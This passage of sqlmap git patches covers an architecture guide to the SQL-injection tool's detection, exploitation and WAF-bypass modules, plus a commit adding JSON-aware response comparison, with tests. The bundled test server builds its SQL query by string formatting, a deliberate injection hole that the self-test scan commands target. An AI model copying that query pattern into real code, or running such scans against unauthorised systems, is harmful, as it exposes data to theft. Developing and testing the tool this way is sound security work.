code wins.** + +sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal +non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and +`thirdparty/six`. + +--- + +## 1. Entry points + +| Entry | File | Purpose | +|-------|------|---------| +| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. | +| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. | + +`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for +quirks/security - see below), `setPaths()`, `init()` (option parsing + environment +setup), then dispatches to `start()` for a normal scan, or to the self-tests +(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`. + +--- + +## 2. Global state: `conf` and `kb` + +Almost everything hangs off two process-global singletons defined in `lib/core/data.py`, +both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`): + +- **`conf`** - the resolved user configuration (options + derived settings). What the + user asked for. +- **`kb`** ("knowledge base") - mutable runtime state discovered during a run + (identified DBMS, injection points, page templates, caches, locks, counters). + +The configuration pipeline (`lib/core/`): + +- `parse/cmdline.py` - argparse definition of every CLI option. +- `core/optiondict.py` - option name -> type map (used for config-file/API coercion). +- `core/defaults.py` - default values. +- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`, + `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding + setup, etc. Merges CLI + config file + defaults into `conf`/`kb`. +- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.** + +Identifiers in the codebase are camelCase. + +--- + +## 3. Top-level layout + +| Path | Responsibility | +|------|----------------| +| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing | +| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) | +| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing | +| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` | +| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) | +| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... | +| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` | +| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes | +| `plugins/dbms//` | per-DBMS subclasses + dialect (one dir per supported DBMS) | +| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file | +| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | +| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | +| `tests/` | stdlib-unittest suite (offline); see section 11 | +| `thirdparty/` | vendored dependencies (six, bottle, keepalive, chardet, ...) - no pip at runtime | +| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | + +--- + +## 4. The scan lifecycle (`lib/controller/controller.py: start()`) + +For each target: + +1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`): + resolve URL/params, open the per-target output dir and session file + (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points, + cached values) from the session. +2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`, + `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` / + dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`). +3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint). +4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by + the data engine (section 5). Confirmed points are appended to `kb.injections`. +5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the + back-end DBMS and assigns `conf.dbmsHandler`, the object through which all + enumeration is dispatched (section 7). +6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation + (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to + `conf.dbmsHandler` methods, and feeds results to `conf.dumper`. + +If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`, +`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as +`SqlmapNotVulnerableException`. + +--- + +## 5. The data-driven detection engine + +Detection behavior lives in **data, not code** - `data/xml/`, loaded by +`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`): + +- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the + clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts). +- **`payloads/*.xml`** - the *tests*, one file per technique + (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`, + `union_query`), each with the request template and the comparison/grep logic that + decides success. + +`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the +identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`) +forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/ +`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via +`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false +by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`, +plus titles/errors/HTTP-code signals). + +--- + +## 6. Exploitation techniques + +Once a parameter is injectable, value extraction is dispatched by +`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`: + +| Technique | Engine | Mechanism | +|-----------|--------|-----------| +| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle | +| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay | +| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error | +| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction | +| inline query | (inline, via inject) | value embedded in the original query position | +| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel | + +`bisection()` is the hot loop; it caches the `--charset` table in +`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch +(intentional). Multi-threaded extraction is coordinated via `kb.locks` and +`getCurrentThreadData()` (`lib/core/threads.py`). + +--- + +## 7. DBMS abstraction + +Enumeration is DBMS-agnostic at the top and specialized underneath: + +- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`, + `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`, + `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py` + (direct DB connection for `-d`). +- **`plugins/dbms//`** - one directory per supported DBMS, subclassing the generic + pieces and supplying dialect specifics. +- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table + enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name; + the dialect comes from XML. + +`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into. + +--- + +## 8. Output and session + +- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables + plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging + is via `logger` (`lib/core/log.py`). +- **Session / resume** - each target gets a SQLite session file + (`//session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()` + (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points, + fingerprint, and extracted values so a re-run *resumes* instead of re-testing + (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A + stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`. + +--- + +## 9. Request layer and tampering + +`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: +protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, +keep-alive via `thirdparty/keepalive`), response processing (`basic.py`), and the +comparison oracle (`comparison.py`). + +**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. +Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c` +chains them in priority order. They are payload-string transforms only (no engine +coupling), which is why they compose freely. + +--- + +## 10. REST API and JSON report + +`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as +subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry), +an IPC SQLite `Database` (the subprocess writes results/logs/errors back through +`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...). +The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`. + +`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`) +that the `/scan//data` endpoint uses, so the CLI report and the API result can't +drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer). + +--- + +## 11. Tests and self-tests + +Two complementary layers: + +- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip), + green on py2 + py3. `_testutils.py` bootstraps global state and provides the + property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run: + `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc` + makes a `getFileType(__file__)` doctest see `binary`). +- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test` + (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against + the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow + (`.github/workflows/tests.yml`) runs all of these. + +--- + +## 12. "Where do I start for ...?" + +| I want to change... | Start in | +|---------------------|----------| +| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) | +| a constant/threshold | `lib/core/settings.py` | +| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` | +| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine | +| the true/false decision | `lib/request/comparison.py` | +| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms//` | +| enumeration behavior | `plugins/generic/*.py` | +| dump/output format | `lib/core/dump.py` | +| a WAF-bypass transform | add a file under `tamper/` | +| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) | +| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` | +| a stdlib monkey-patch / security shim | `lib/core/patch.py` | diff --git a/lib/core/settings.py b/lib/core/settings.py index 2bb5c2a05af..35f0fd86fd9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.117" +VERSION = "1.10.6.118" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a0cbfba9bd338b45c1ad8504229fd8add42bdda8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 16 Jun 2026 10:02:44 +0200 Subject: [PATCH 574/853] Adding support for better JSON comparison --- data/txt/sha256sums.txt | 11 +-- extra/vulnserver/vulnserver.py | 51 +++++++----- lib/core/common.py | 39 +++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 1 + lib/request/comparison.py | 42 ++++++++-- tests/test_comparison_json.py | 142 +++++++++++++++++++++++++++++++++ 7 files changed, 256 insertions(+), 32 deletions(-) create mode 100644 tests/test_comparison_json.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3088c412e15..e878ab6d6a5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py +072a2c19162cc4e76476cf474134f18a5ec45cce9a4e4d216dad8e7a71ece048 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py 969737ac9cd3fa7bac8b582a85016bd348ba2087daa3644a570a9127e686363b lib/controller/controller.py @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -7fc5a845a78e6fb7b1a2fdef2fe529510ac5f2c9fac78de588844b4a8c1504e1 lib/core/common.py +734a00fd87c67cde48d9ab9b5cdfa8b064300939898c4de2636e91d16a4223ba lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,11 +189,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -878a1bbd202fa07ded97ab33e630b196e159aec49a6377d01247c4ccb1152a37 lib/core/settings.py +222177a7a8e4c16ec4eae9f9542794ebf46a34b29390e967fe9fc26189261372 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -daf2ad65fcea430b6272e3c538022c9871fdc3aba78f71669130fb0bc954c78e lib/core/testing.py +40b703993441fcd10ab06545b7dbe4a4762ab1ff517592a7e104a52785e62586 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c lib/request/comparison.py +390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py @@ -571,6 +571,7 @@ d4d7d3525d25ce72bf38bd38b5fdf61144e381993d63be7dc72b2b4811ffab67 tests/test_big 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py +899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py 8593f14a18c4445c58b2e59462adcb761074ac7217cd7c3808519a90ba279bda tests/test_convert.py 5016119bdb57094381afdca35ef29a4a6641e26e4b48a9119f1db633e6123d29 tests/test_datafiles.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 769108f928d..05cdab2efb3 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -229,6 +229,7 @@ def do_REQUEST(self): self.wfile.write(b"vulnserver

GET:

link

POST:

ID: ") else: code, output = OK, "" + contentType = "text/html" try: if self.params.get("echo", ""): @@ -247,38 +248,48 @@ def do_REQUEST(self): _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() - output += "SQL results:
\n" - - if self.params.get("code", ""): - if not results: + if self.params.get("json", ""): + # JSON response mode: serialize the SAME query results as application/json + # (exercises the structure-aware comparison oracle end to end). HTML branches + # below are untouched, so existing tests are unaffected. + if self.params.get("code", "") and not results: code = INTERNAL_SERVER_ERROR + else: + contentType = "application/json" + output = json.dumps({"results": [list(row) for row in results], "count": len(results)}) else: - if results: - output += "
\n" + output += "SQL results:
\n" - for row in results: - output += "" - for value in row: - output += "" % value - output += "\n" - - output += "
%s
\n" + if self.params.get("code", ""): + if not results: + code = INTERNAL_SERVER_ERROR else: - output += "no results found" + if results: + output += "\n" - if not results: - output = "No results" + output - else: - output = "Results" + output + for row in results: + output += "" + for value in row: + output += "" % value + output += "\n" + + output += "
%s
\n" + else: + output += "no results found" + + if not results: + output = "No results" + output + else: + output = "Results" + output - output += "" + output += "" except Exception as ex: code = INTERNAL_SERVER_ERROR output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) self.send_response(code) - self.send_header("Content-type", "text/html") + self.send_header("Content-type", contentType) self.send_header("Connection", "close") if self.raw_requestline.startswith(b"HEAD"): diff --git a/lib/core/common.py b/lib/core/common.py index 0dc2f3cb573..6ec8a9572c5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1442,6 +1442,45 @@ def _(match): return retVal +def jsonMinimize(content): + """ + Returns an order-independent canonical "leaf-path" projection of a JSON document, used for + structure-aware response comparison (so key reordering / whitespace / number formatting do + not perturb the comparison ratio, while a changed value or array length does). Returns None + (and only None) when content is not parseable JSON, so callers can fall back to text comparison + + >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1, "b":2}') + True + >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1' + True + >>> jsonMinimize('not json') is None + True + >>> jsonMinimize('{}') == '' + True + """ + + try: + data = json.loads(content) + except (ValueError, TypeError): + return None + + lines = [] + + def _walk(obj, path): + if isinstance(obj, dict): + for key in sorted(obj): # sorted keys -> key-order/whitespace immune + _walk(obj[key], "%s.%s" % (path, key)) + elif isinstance(obj, (list, tuple)): + lines.append("%s.__len__=%d" % (path, len(obj))) # length change always registers + for index in xrange(len(obj)): # index kept -> order-sensitive (correct for result sets) + _walk(obj[index], "%s[%d]" % (path, index)) + else: + lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values) + + _walk(data, "") + + return "\n".join(sorted(lines)) + def parsePasswordHash(password): """ In case of Microsoft SQL Server password hash value is expanded to its components diff --git a/lib/core/settings.py b/lib/core/settings.py index 35f0fd86fd9..92280490bd7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.118" +VERSION = "1.10.6.119" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 8493f2cf579..265104231db 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -55,6 +55,7 @@ def vulnTest(): ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), + ("-u \"&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint) ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 0c6ab2586c2..1338e6a218e 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -11,6 +11,7 @@ from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent +from lib.core.common import jsonMinimize from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import getLastRequestHTTPError @@ -20,6 +21,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE @@ -34,6 +36,20 @@ from lib.core.threads import getCurrentThreadData from thirdparty import six +def _isJsonResponse(headers): + """ + Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json' + or a structured suffix like 'application/vnd.api+json') + """ + + retVal = False + + if headers: + contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() + retVal = contentType == "application/json" or contentType.endswith("+json") + + return retVal + def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): if not isinstance(page, (six.text_type, six.binary_type, type(None))): logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) @@ -97,6 +113,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) + # raw (pre-dynamic-removal) body, kept for the structured (JSON) comparison path below; + # parsing the raw form avoids removeDynamicContent splicing JSON mid-token + rawPage = page + if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: @@ -148,12 +168,22 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: seq1, seq2 = None, None - if conf.titles: - seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) - seq2 = extractRegexResult(HTML_TITLE_REGEX, page) - else: - seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a - seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + # Structure-aware comparison for JSON responses: compare an order-independent + # projection of the parsed bodies instead of raw text, so key reordering/whitespace + # noise does not perturb the ratio while a changed value/array-length does. Engages + # only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit + # --text-only/--titles) falls back to the exact text path below. + if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection): + seq1 = jsonMinimize(kb.pageTemplate) + seq2 = jsonMinimize(rawPage) + + if seq1 is None or seq2 is None: + if conf.titles: + seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) + seq2 = extractRegexResult(HTML_TITLE_REGEX, page) + else: + seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a + seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None diff --git a/tests/test_comparison_json.py b/tests/test_comparison_json.py new file mode 100644 index 00000000000..247195c193f --- /dev/null +++ b/tests/test_comparison_json.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +D1 - structure-aware (JSON) detection oracle. Two layers: + * jsonMinimize() (lib/core/common.py): the order-independent leaf-path projection. + * comparison() (lib/request/comparison.py): when the response Content-Type is JSON, the + similarity ratio is computed over that projection instead of raw text - so key + reordering / whitespace noise no longer perturbs it (false-positive fix) and a small + value/structure change is no longer drowned out in a large body (false-negative fix). + +The headline tests assert the JSON path is *better* than the text path on the same inputs, +not merely that it runs; and that any non-JSON / unparseable / explicit-mode case falls +back to the exact text behavior (so the HTML oracle is untouched). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import jsonMinimize +from lib.core.data import conf, kb +from lib.core.enums import HTTP_HEADER +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.threads import getCurrentThreadData +from lib.request.comparison import comparison + + +class _Headers(object): + """Minimal stand-in for the per-response headers object the oracle receives.""" + def __init__(self, contentType): + self._ct = contentType + + def get(self, name, default=None): + return self._ct if (self._ct and name.lower() == HTTP_HEADER.CONTENT_TYPE.lower()) else default + + @property + def headers(self): + return ["%s: %s\r\n" % (HTTP_HEADER.CONTENT_TYPE, self._ct)] if self._ct else [] + + +class TestJsonMinimize(unittest.TestCase): + def test_order_and_whitespace_immune(self): + self.assertEqual(jsonMinimize('{"b":2,"a":1}'), jsonMinimize('{ "a": 1,\n "b": 2 }')) + + def test_value_flip_differs(self): + self.assertNotEqual(jsonMinimize('{"ok":true}'), jsonMinimize('{"ok":false}')) + + def test_array_length_registers(self): + self.assertNotEqual(jsonMinimize('{"r":[1,2,3]}'), jsonMinimize('{"r":[1,2,3,4]}')) + + def test_parse_failure_is_none(self): + for bad in ("", "{bad", "", "{'a':1}", None): + self.assertIsNone(jsonMinimize(bad)) + + def test_valid_edge_shapes_are_not_none(self): + # bare array, scalar, and top-level null are valid JSON -> defined (non-None) projections + for ok in ("[1,2]", "42", "null", '"x"'): + self.assertIsNotNone(jsonMinimize(ok)) + self.assertEqual(jsonMinimize("{}"), "") # empty object -> empty projection (not None) + + +class _OracleCase(unittest.TestCase): + _FLAGS = ("string", "notString", "regexp", "code", "titles", "textOnly") + _KB = ("matchRatio", "nullConnection", "heavilyDynamic", "skipSeqMatcher", + "errorIsNone", "negativeLogic", "dynamicMarkings", "testMode", "pageTemplate") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._FLAGS) + self._k = dict((k, kb.get(k)) for k in self._KB) + for k in self._FLAGS: + conf[k] = None + kb.nullConnection = kb.heavilyDynamic = kb.skipSeqMatcher = kb.errorIsNone = kb.negativeLogic = kb.testMode = False + kb.dynamicMarkings = [] + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def ratio(self, template, page, contentType): + # fresh, uncalibrated comparison each call + kb.matchRatio = None + kb.pageTemplate = template + td = getCurrentThreadData() + td.lastPageTemplate = None + return comparison(page, _Headers(contentType), getRatioValue=True) + + +class TestStructuredOracle(_OracleCase): + def test_noise_immunity_beats_text(self): + # same data, keys reordered + reindented: JSON path ~identical, text path measurably lower. + # This is D1's core win - reorder/whitespace noise (ubiquitous in real APIs) stops + # perturbing the ratio, which also stabilizes the kb.matchRatio calibration. + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role": "admin",\n "name": "alice",\n "id": 1 }' + jsonRatio = self.ratio(a, b, "application/json") + textRatio = self.ratio(a, b, "text/html") + self.assertGreater(jsonRatio, UPPER_RATIO_BOUND) # JSON: noise ignored -> True + self.assertLess(textRatio, jsonRatio) # text: perturbed by reordering + + def test_real_difference_still_detected(self): + # normalization must not over-collapse: a genuinely different value still separates + a = '{"role":"admin"}' + b = '{"role":"guest"}' + self.assertLess(self.ratio(a, b, "application/json"), UPPER_RATIO_BOUND) + + def test_html_contenttype_uses_text_path(self): + # identical inputs through a text/html response must equal the pure text baseline + a = '{"id":1,"name":"alice"}' + b = '{ "name": "alice", "id": 1 }' + conf.code = None + self.assertEqual(self.ratio(a, b, "text/html"), self.ratio(a, b, None)) + + def test_unparseable_json_falls_back(self): + # application/json Content-Type but a non-JSON body -> behaves exactly like the text path + a, b = "x", "y" + self.assertEqual(self.ratio(a, b, "application/json"), self.ratio(a, b, "text/html")) + + def test_structured_suffix_contenttype_gated_in(self): + a = '{"id":1,"name":"alice","role":"admin"}' + b = '{ "role":"admin", "name":"alice", "id":1 }' + self.assertGreater(self.ratio(a, b, "application/vnd.api+json; charset=utf-8"), UPPER_RATIO_BOUND) + + def test_textonly_escape_hatch_bypasses_json(self): + a = 